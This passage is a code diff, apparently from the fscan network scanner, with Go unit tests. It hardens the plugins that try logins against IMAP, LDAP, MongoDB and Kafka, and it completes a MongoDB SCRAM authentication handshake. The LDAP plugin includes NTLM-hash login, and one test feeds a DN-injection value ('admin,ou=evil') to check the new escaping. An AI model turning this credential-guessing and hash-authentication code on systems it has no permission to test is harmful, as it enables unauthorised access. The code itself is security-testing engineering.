|
||||
|
||||
fileName := entry.Name
|
||||
if len(fileName) > 50 {
|
||||
fileName = fileName[:50] + "..."
|
||||
}
|
||||
files = append(files, fileName)
|
||||
files = append(files, truncateRunes(fileName, 50))
|
||||
}
|
||||
|
||||
return files
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
package services
|
||||
|
||||
import "io"
|
||||
|
||||
const maxServiceHTTPBodyBytes = 2 << 20
|
||||
|
||||
func readServiceHTTPBody(r io.Reader) ([]byte, error) {
|
||||
return io.ReadAll(io.LimitReader(r, maxServiceHTTPBodyBytes))
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//go:build plugin_elasticsearch || plugin_neo4j || plugin_rabbitmq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestReadServiceHTTPBodyIsBounded(t *testing.T) {
|
||||
body := strings.NewReader(strings.Repeat("a", maxServiceHTTPBodyBytes+1024))
|
||||
got, err := readServiceHTTPBody(body)
|
||||
if err != nil {
|
||||
t.Fatalf("readServiceHTTPBody error = %v", err)
|
||||
}
|
||||
if len(got) != maxServiceHTTPBodyBytes {
|
||||
t.Fatalf("body len = %d, want %d", len(got), maxServiceHTTPBodyBytes)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
//go:build !plugin_selective || plugin_neo4j || plugin_rabbitmq
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func testSession() *common.ScanSession {
|
||||
cfg := common.NewConfig()
|
||||
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
}
|
||||
|
||||
func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo {
|
||||
t.Helper()
|
||||
u, err := url.Parse(server.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("Parse server URL error = %v", err)
|
||||
}
|
||||
host, portText, err := net.SplitHostPort(u.Host)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitHostPort error = %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portText)
|
||||
if err != nil {
|
||||
t.Fatalf("Atoi port error = %v", err)
|
||||
}
|
||||
return &common.HostInfo{Host: host, Port: port}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -88,7 +87,10 @@ func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p
|
||||
return nil
|
||||
}
|
||||
|
||||
loginCmd := fmt.Sprintf("a001 LOGIN %s %s\r\n", cred.Username, cred.Password)
|
||||
loginCmd, err := buildIMAPLoginCommand("a001", cred.Username, cred.Password)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if _, err := conn.Write([]byte(loginCmd)); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -76,7 +76,7 @@ func (p *JDWPPlugin) getVersion(conn interface {
|
||||
}
|
||||
|
||||
header := make([]byte, 11)
|
||||
if _, err := conn.Read(header); err != nil {
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return ""
|
||||
}
|
||||
replyLen := int(header[0])<<24 | int(header[1])<<16 | int(header[2])<<8 | int(header[3])
|
||||
@@ -85,7 +85,7 @@ func (p *JDWPPlugin) getVersion(conn interface {
|
||||
}
|
||||
|
||||
body := make([]byte, replyLen-11)
|
||||
if _, err := conn.Read(body); err != nil {
|
||||
if _, err := io.ReadFull(conn, body); err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -101,10 +101,7 @@ func parseJDWPVersionString(data []byte) string {
|
||||
return ""
|
||||
}
|
||||
s := string(data[4 : 4+strLen])
|
||||
if len(s) > 200 {
|
||||
s = s[:200]
|
||||
}
|
||||
return s
|
||||
return truncateRunes(s, 200)
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
//go:build plugin_jdwp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
type chunkedJDWPConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (c *chunkedJDWPConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := c.chunkSize
|
||||
if n <= 0 || n > len(c.data) {
|
||||
n = len(c.data)
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *chunkedJDWPConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *chunkedJDWPConn) SetDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestJDWPGetVersionHandlesChunkedReads(t *testing.T) {
|
||||
const version = "Java Debug Wire Protocol"
|
||||
body := make([]byte, 4+len(version))
|
||||
binary.BigEndian.PutUint32(body[:4], uint32(len(version)))
|
||||
copy(body[4:], version)
|
||||
|
||||
reply := make([]byte, 11+len(body))
|
||||
binary.BigEndian.PutUint32(reply[:4], uint32(len(reply)))
|
||||
copy(reply[11:], body)
|
||||
|
||||
p := NewJDWPPlugin()
|
||||
got := p.getVersion(&chunkedJDWPConn{data: reply, chunkSize: 3}, time.Second)
|
||||
if got != version {
|
||||
t.Fatalf("getVersion() = %q, want %q", got, version)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseJDWPVersionStringTruncatesByRune(t *testing.T) {
|
||||
version := strings.Repeat("界", 205)
|
||||
body := make([]byte, 4+len(version))
|
||||
binary.BigEndian.PutUint32(body[:4], uint32(len(version)))
|
||||
copy(body[4:], version)
|
||||
|
||||
got := parseJDWPVersionString(body)
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("parseJDWPVersionString() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -155,6 +155,8 @@ func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
|
||||
var kafkaCorrelationID int32
|
||||
|
||||
const maxKafkaResponseSize = 1024 * 1024
|
||||
|
||||
func nextKafkaCorrelationID() int32 {
|
||||
return atomic.AddInt32(&kafkaCorrelationID, 1) - 1
|
||||
}
|
||||
@@ -178,24 +180,27 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func kafkaRecv(conn net.Conn) ([]byte, error) {
|
||||
func kafkaRecv(conn io.Reader) ([]byte, error) {
|
||||
// 读取 4 字节长度
|
||||
lenBuf := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, lenBuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msgLen := int(binary.BigEndian.Uint32(lenBuf))
|
||||
if msgLen < 4 {
|
||||
return nil, fmt.Errorf("invalid kafka response length: %d", msgLen)
|
||||
}
|
||||
if msgLen > maxKafkaResponseSize {
|
||||
return nil, fmt.Errorf("kafka response too large: %d", msgLen)
|
||||
}
|
||||
// 读取消息体
|
||||
msg := make([]byte, msgLen)
|
||||
if _, err := io.ReadFull(conn, msg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// 跳过 correlation_id (4B),返回 body
|
||||
if len(msg) >= 4 {
|
||||
return msg[4:], nil
|
||||
}
|
||||
return msg, nil
|
||||
}
|
||||
|
||||
func kafkaString(s string) []byte {
|
||||
b := []byte(s)
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
//go:build plugin_kafka || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type chunkedKafkaReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedKafkaReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func TestKafkaRecvHandlesChunkedResponse(t *testing.T) {
|
||||
packet := make([]byte, 4+6)
|
||||
binary.BigEndian.PutUint32(packet[:4], 6)
|
||||
binary.BigEndian.PutUint32(packet[4:8], 123)
|
||||
copy(packet[8:], []byte("ok"))
|
||||
|
||||
got, err := kafkaRecv(&chunkedKafkaReader{data: packet, chunkSize: 1})
|
||||
if err != nil {
|
||||
t.Fatalf("kafkaRecv() error = %v", err)
|
||||
}
|
||||
if string(got) != "ok" {
|
||||
t.Fatalf("kafkaRecv() = %q, want ok", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKafkaRecvRejectsTooLargeResponse(t *testing.T) {
|
||||
packet := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(packet, maxKafkaResponseSize+1)
|
||||
|
||||
if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil {
|
||||
t.Fatal("kafkaRecv() error = nil, want too-large response error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestKafkaRecvRejectsShortResponse(t *testing.T) {
|
||||
packet := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(packet, 3)
|
||||
|
||||
if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil {
|
||||
t.Fatal("kafkaRecv() error = nil, want invalid length error")
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
ldaplib "github.com/go-ldap/ldap/v3"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -78,12 +79,17 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
stopCancelClose := context.AfterFunc(ctx, func() {
|
||||
_ = conn.Close()
|
||||
})
|
||||
defer stopCancelClose()
|
||||
|
||||
// 尝试多种DN格式进行绑定测试
|
||||
escapedUser := ldaplib.EscapeDN(cred.Username)
|
||||
dnFormats := []string{
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser),
|
||||
cred.Username,
|
||||
}
|
||||
|
||||
@@ -171,6 +177,10 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
stopCancelClose := context.AfterFunc(ctx, func() {
|
||||
_ = conn.Close()
|
||||
})
|
||||
defer stopCancelClose()
|
||||
|
||||
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
|
||||
return &AuthResult{
|
||||
@@ -212,6 +222,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses
|
||||
} else {
|
||||
conn = ldaplib.NewConn(tcpConn, false)
|
||||
}
|
||||
conn.SetTimeout(session.Config.Timeout)
|
||||
conn.Start()
|
||||
|
||||
resultChan <- result{conn, nil}
|
||||
@@ -222,10 +233,16 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses
|
||||
return res.conn, res.err
|
||||
case <-ctx.Done():
|
||||
go func() {
|
||||
res := <-resultChan
|
||||
timer := time.NewTimer(authCleanupWait())
|
||||
defer timer.Stop()
|
||||
|
||||
select {
|
||||
case res := <-resultChan:
|
||||
if res.conn != nil {
|
||||
_ = res.conn.Close()
|
||||
}
|
||||
case <-timer.C:
|
||||
}
|
||||
}()
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
//go:build plugin_ldap || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
ldaplib "github.com/go-ldap/ldap/v3"
|
||||
)
|
||||
|
||||
func TestLDAPDNFormatsEscapeUsernameValue(t *testing.T) {
|
||||
username := "admin,ou=evil"
|
||||
escapedUser := ldaplib.EscapeDN(username)
|
||||
got := []string{
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser),
|
||||
username,
|
||||
}
|
||||
|
||||
for _, dn := range got[:3] {
|
||||
if dn == "cn=admin,ou=evil,dc=example,dc=com" || dn == "uid=admin,ou=evil,dc=example,dc=com" {
|
||||
t.Fatalf("DN was not escaped: %q", dn)
|
||||
}
|
||||
}
|
||||
if got[0] != `cn=admin\,ou=evil,dc=example,dc=com` {
|
||||
t.Fatalf("escaped DN = %q", got[0])
|
||||
}
|
||||
}
|
||||
+252
-20
@@ -4,12 +4,17 @@ package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/hmac"
|
||||
"crypto/md5"
|
||||
"crypto/rand"
|
||||
"crypto/sha1"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"math"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
@@ -17,6 +22,7 @@ import (
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
// MongoDBPlugin MongoDB扫描插件(纯 raw TCP 实现,无重型依赖)
|
||||
@@ -108,12 +114,13 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
|
||||
|
||||
// Step 2: saslStart SCRAM-SHA-1
|
||||
nonce := randomString(24)
|
||||
saslPayload := "n=" + cred.Username + ",r=" + nonce
|
||||
clientFirstBare := "n=" + cred.Username + ",r=" + nonce
|
||||
saslPayload := "n,," + clientFirstBare
|
||||
|
||||
saslStartBody := mongoDoc{
|
||||
"saslStart": 1,
|
||||
"mechanism": "SCRAM-SHA-1",
|
||||
"payload": base64EncodeStr(saslPayload),
|
||||
"payload": []byte(saslPayload),
|
||||
"autoAuthorize": 1,
|
||||
}
|
||||
saslStartCmd := buildMongoCommand("admin", saslStartBody)
|
||||
@@ -127,21 +134,48 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
|
||||
// saslStart 响应检查:
|
||||
// - ok:0 + code:18 → 认证失败
|
||||
// - ok:1 + conversationId + payload → 认证有效
|
||||
respStr := string(resp)
|
||||
if strings.Contains(respStr, "\"ok\":0") || strings.Contains(respStr, "Authentication failed") {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed")}
|
||||
startReply, err := parseMongoCommandReply(resp)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
if !startReply.ok {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", startReply.errmsg)}
|
||||
}
|
||||
if !startReply.conversationSet || len(startReply.payload) == 0 {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("invalid saslStart response")}
|
||||
}
|
||||
|
||||
// 如果在响应中找到 conversationId,说明凭据有效
|
||||
if strings.Contains(respStr, "conversationId") {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
|
||||
serverFirst := string(startReply.payload)
|
||||
clientFinal, err := buildMongoSCRAMClientFinal(cred.Username, cred.Password, clientFirstBare, serverFirst)
|
||||
if err != nil {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err}
|
||||
}
|
||||
|
||||
saslContinueBody := mongoDoc{
|
||||
"saslContinue": 1,
|
||||
"conversationId": int(startReply.conversationID),
|
||||
"payload": []byte(clientFinal),
|
||||
}
|
||||
saslContinueCmd := buildMongoCommand("admin", saslContinueBody)
|
||||
if _, err := sendMongoMsg(ctx, conn, saslContinueCmd, timeout); err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
resp, err = readMongoMsg(conn, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
finalReply, err := parseMongoCommandReply(resp)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
if !finalReply.ok {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", finalReply.errmsg)}
|
||||
}
|
||||
|
||||
// 无认证失败的明确信号 = 尝试成功
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
|
||||
}
|
||||
@@ -152,6 +186,7 @@ const (
|
||||
opMsg uint32 = 2013
|
||||
opQuery uint32 = 2004
|
||||
opReply uint32 = 1
|
||||
maxMongoMessageBody = 1024 * 1024
|
||||
)
|
||||
|
||||
var mongoRequestID uint32
|
||||
@@ -225,7 +260,7 @@ func buildBSON(doc mongoDoc) []byte {
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
b := []byte(val)
|
||||
buf = append(buf, byte(len(b)+1), 0, 0, 0)
|
||||
buf = binary.LittleEndian.AppendUint32(buf, uint32(len(b)+1))
|
||||
buf = append(buf, b...)
|
||||
buf = append(buf, 0x00)
|
||||
case int:
|
||||
@@ -235,13 +270,16 @@ func buildBSON(doc mongoDoc) []byte {
|
||||
i32 := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(i32, uint32(val))
|
||||
buf = append(buf, i32...)
|
||||
case int64:
|
||||
buf = append(buf, 0x12) // type int64
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
buf = binary.LittleEndian.AppendUint64(buf, uint64(val))
|
||||
case float64:
|
||||
buf = append(buf, 0x01) // type double
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
f64 := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(f64, uint64(val))
|
||||
buf = append(buf, f64...)
|
||||
buf = binary.LittleEndian.AppendUint64(buf, math.Float64bits(val))
|
||||
case mongoDoc:
|
||||
buf = append(buf, 0x03) // type document
|
||||
buf = append(buf, []byte(k)...)
|
||||
@@ -252,7 +290,7 @@ func buildBSON(doc mongoDoc) []byte {
|
||||
buf = append(buf, 0x05) // type binary
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
buf = append(buf, byte(len(val)), 0, 0, 0)
|
||||
buf = binary.LittleEndian.AppendUint32(buf, uint32(len(val)))
|
||||
buf = append(buf, 0x00) // subtype 0
|
||||
buf = append(buf, val...)
|
||||
case bool:
|
||||
@@ -301,8 +339,11 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) {
|
||||
}
|
||||
// 读取剩余 body
|
||||
bodyLen := int(msgLen) - 16
|
||||
if bodyLen <= 0 || bodyLen > 1024*1024 {
|
||||
return nil, nil
|
||||
if bodyLen == 0 {
|
||||
return []byte{}, nil
|
||||
}
|
||||
if bodyLen > maxMongoMessageBody {
|
||||
return nil, fmt.Errorf("mongodb response too large: %d", msgLen)
|
||||
}
|
||||
body := make([]byte, bodyLen)
|
||||
if _, err := io.ReadFull(conn, body); err != nil {
|
||||
@@ -316,6 +357,197 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) {
|
||||
return body, nil
|
||||
}
|
||||
|
||||
type mongoCommandReply struct {
|
||||
ok bool
|
||||
conversationID int32
|
||||
conversationSet bool
|
||||
payload []byte
|
||||
done bool
|
||||
errmsg string
|
||||
}
|
||||
|
||||
func parseMongoCommandReply(doc []byte) (mongoCommandReply, error) {
|
||||
var reply mongoCommandReply
|
||||
if len(doc) < 5 {
|
||||
return reply, fmt.Errorf("short bson document")
|
||||
}
|
||||
docLen := int(binary.LittleEndian.Uint32(doc[:4]))
|
||||
if docLen < 5 || docLen > len(doc) {
|
||||
return reply, fmt.Errorf("invalid bson document length: %d", docLen)
|
||||
}
|
||||
pos := 4
|
||||
for pos < docLen-1 {
|
||||
typ := doc[pos]
|
||||
pos++
|
||||
keyStart := pos
|
||||
for pos < docLen && doc[pos] != 0 {
|
||||
pos++
|
||||
}
|
||||
if pos >= docLen {
|
||||
return reply, fmt.Errorf("unterminated bson key")
|
||||
}
|
||||
key := string(doc[keyStart:pos])
|
||||
pos++
|
||||
|
||||
switch typ {
|
||||
case 0x01: // double
|
||||
if pos+8 > docLen {
|
||||
return reply, fmt.Errorf("short bson double")
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0
|
||||
}
|
||||
pos += 8
|
||||
case 0x02: // string
|
||||
if pos+4 > docLen {
|
||||
return reply, fmt.Errorf("short bson string length")
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
pos += 4
|
||||
if n <= 0 || pos+n > docLen {
|
||||
return reply, fmt.Errorf("invalid bson string length: %d", n)
|
||||
}
|
||||
value := string(doc[pos : pos+n-1])
|
||||
pos += n
|
||||
switch key {
|
||||
case "errmsg":
|
||||
reply.errmsg = value
|
||||
case "payload":
|
||||
reply.payload = []byte(value)
|
||||
}
|
||||
case 0x05: // binary
|
||||
if pos+5 > docLen {
|
||||
return reply, fmt.Errorf("short bson binary")
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
pos += 5 // length + subtype
|
||||
if n < 0 || pos+n > docLen {
|
||||
return reply, fmt.Errorf("invalid bson binary length: %d", n)
|
||||
}
|
||||
if key == "payload" {
|
||||
reply.payload = append([]byte(nil), doc[pos:pos+n]...)
|
||||
}
|
||||
pos += n
|
||||
case 0x03, 0x04: // document, array
|
||||
if pos+4 > docLen {
|
||||
return reply, fmt.Errorf("short bson embedded document")
|
||||
}
|
||||
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
if n < 5 || pos+n > docLen {
|
||||
return reply, fmt.Errorf("invalid bson embedded document length: %d", n)
|
||||
}
|
||||
pos += n
|
||||
case 0x07: // objectId
|
||||
if pos+12 > docLen {
|
||||
return reply, fmt.Errorf("short bson objectId")
|
||||
}
|
||||
pos += 12
|
||||
case 0x08: // bool
|
||||
if pos+1 > docLen {
|
||||
return reply, fmt.Errorf("short bson bool")
|
||||
}
|
||||
if key == "done" {
|
||||
reply.done = doc[pos] != 0
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = doc[pos] != 0
|
||||
}
|
||||
pos++
|
||||
case 0x10: // int32
|
||||
if pos+4 > docLen {
|
||||
return reply, fmt.Errorf("short bson int32")
|
||||
}
|
||||
value := int32(binary.LittleEndian.Uint32(doc[pos : pos+4]))
|
||||
if key == "conversationId" {
|
||||
reply.conversationID = value
|
||||
reply.conversationSet = true
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = value != 0
|
||||
}
|
||||
pos += 4
|
||||
case 0x09, 0x11: // datetime, timestamp
|
||||
if pos+8 > docLen {
|
||||
return reply, fmt.Errorf("short bson fixed64")
|
||||
}
|
||||
pos += 8
|
||||
case 0x0a, 0x7f, 0xff: // null, maxKey, minKey
|
||||
case 0x12: // int64
|
||||
if pos+8 > docLen {
|
||||
return reply, fmt.Errorf("short bson int64")
|
||||
}
|
||||
if key == "ok" {
|
||||
reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0
|
||||
}
|
||||
pos += 8
|
||||
case 0x13: // decimal128
|
||||
if pos+16 > docLen {
|
||||
return reply, fmt.Errorf("short bson decimal128")
|
||||
}
|
||||
pos += 16
|
||||
default:
|
||||
return reply, fmt.Errorf("unsupported bson type 0x%02x for key %s", typ, key)
|
||||
}
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
|
||||
func buildMongoSCRAMClientFinal(username, password, clientFirstBare, serverFirst string) (string, error) {
|
||||
attrs := parseSCRAMAttributes(serverFirst)
|
||||
serverNonce := attrs["r"]
|
||||
saltB64 := attrs["s"]
|
||||
iterText := attrs["i"]
|
||||
if serverNonce == "" || saltB64 == "" || iterText == "" {
|
||||
return "", fmt.Errorf("invalid SCRAM server-first payload")
|
||||
}
|
||||
clientNonce := scramAttr(clientFirstBare, "r")
|
||||
if clientNonce == "" || !strings.HasPrefix(serverNonce, clientNonce) {
|
||||
return "", fmt.Errorf("invalid SCRAM nonce")
|
||||
}
|
||||
salt, err := base64.StdEncoding.DecodeString(saltB64)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("invalid SCRAM salt: %w", err)
|
||||
}
|
||||
iterations, err := strconv.Atoi(iterText)
|
||||
if err != nil || iterations <= 0 {
|
||||
return "", fmt.Errorf("invalid SCRAM iteration count")
|
||||
}
|
||||
|
||||
clientFinalWithoutProof := "c=biws,r=" + serverNonce
|
||||
authMessage := clientFirstBare + "," + serverFirst + "," + clientFinalWithoutProof
|
||||
digest := md5.Sum([]byte(username + ":mongo:" + password))
|
||||
saltedPassword := pbkdf2.Key([]byte(fmt.Sprintf("%x", digest)), salt, iterations, sha1.Size, sha1.New)
|
||||
clientKey := mongoHMAC(saltedPassword, []byte("Client Key"))
|
||||
storedKey := sha1.Sum(clientKey)
|
||||
clientSignature := mongoHMAC(storedKey[:], []byte(authMessage))
|
||||
proof := make([]byte, len(clientKey))
|
||||
for i := range clientKey {
|
||||
proof[i] = clientKey[i] ^ clientSignature[i]
|
||||
}
|
||||
return clientFinalWithoutProof + ",p=" + base64.StdEncoding.EncodeToString(proof), nil
|
||||
}
|
||||
|
||||
func parseSCRAMAttributes(payload string) map[string]string {
|
||||
attrs := make(map[string]string)
|
||||
for _, part := range strings.Split(payload, ",") {
|
||||
if len(part) < 3 || part[1] != '=' {
|
||||
continue
|
||||
}
|
||||
attrs[part[:1]] = part[2:]
|
||||
}
|
||||
return attrs
|
||||
}
|
||||
|
||||
func scramAttr(payload, key string) string {
|
||||
return parseSCRAMAttributes(payload)[key]
|
||||
}
|
||||
|
||||
func mongoHMAC(key, data []byte) []byte {
|
||||
mac := hmac.New(sha1.New, key)
|
||||
_, _ = mac.Write(data)
|
||||
return mac.Sum(nil)
|
||||
}
|
||||
|
||||
// dialTCP 带超时的 TCP 连接
|
||||
func dialTCP(ctx context.Context, addr string, timeout time.Duration) (net.Conn, error) {
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
//go:build plugin_mongodb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestReadMongoMsgRejectsTooLargeResponse(t *testing.T) {
|
||||
header := make([]byte, 16)
|
||||
binary.LittleEndian.PutUint32(header[:4], uint32(16+maxMongoMessageBody+1))
|
||||
|
||||
_, err := readMongoMsg(bytes.NewReader(header), time.Second)
|
||||
if err == nil {
|
||||
t.Fatal("readMongoMsg() error = nil, want too-large response error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "too large") {
|
||||
t.Fatalf("readMongoMsg() error = %v, want too large", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadMongoMsgHandlesEmptyBody(t *testing.T) {
|
||||
header := make([]byte, 16)
|
||||
binary.LittleEndian.PutUint32(header[:4], 16)
|
||||
|
||||
got, err := readMongoMsg(bytes.NewReader(header), time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("readMongoMsg() error = %v", err)
|
||||
}
|
||||
if len(got) != 0 {
|
||||
t.Fatalf("readMongoMsg() len = %d, want 0", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildBSONEncodesFullStringAndBinaryLengths(t *testing.T) {
|
||||
longString := strings.Repeat("a", 300)
|
||||
longBinary := bytes.Repeat([]byte{0x42}, 300)
|
||||
|
||||
doc := buildBSON(mongoDoc{"s": longString})
|
||||
pos := 4
|
||||
if doc[pos] != 0x02 {
|
||||
t.Fatalf("first bson type = 0x%02x, want string", doc[pos])
|
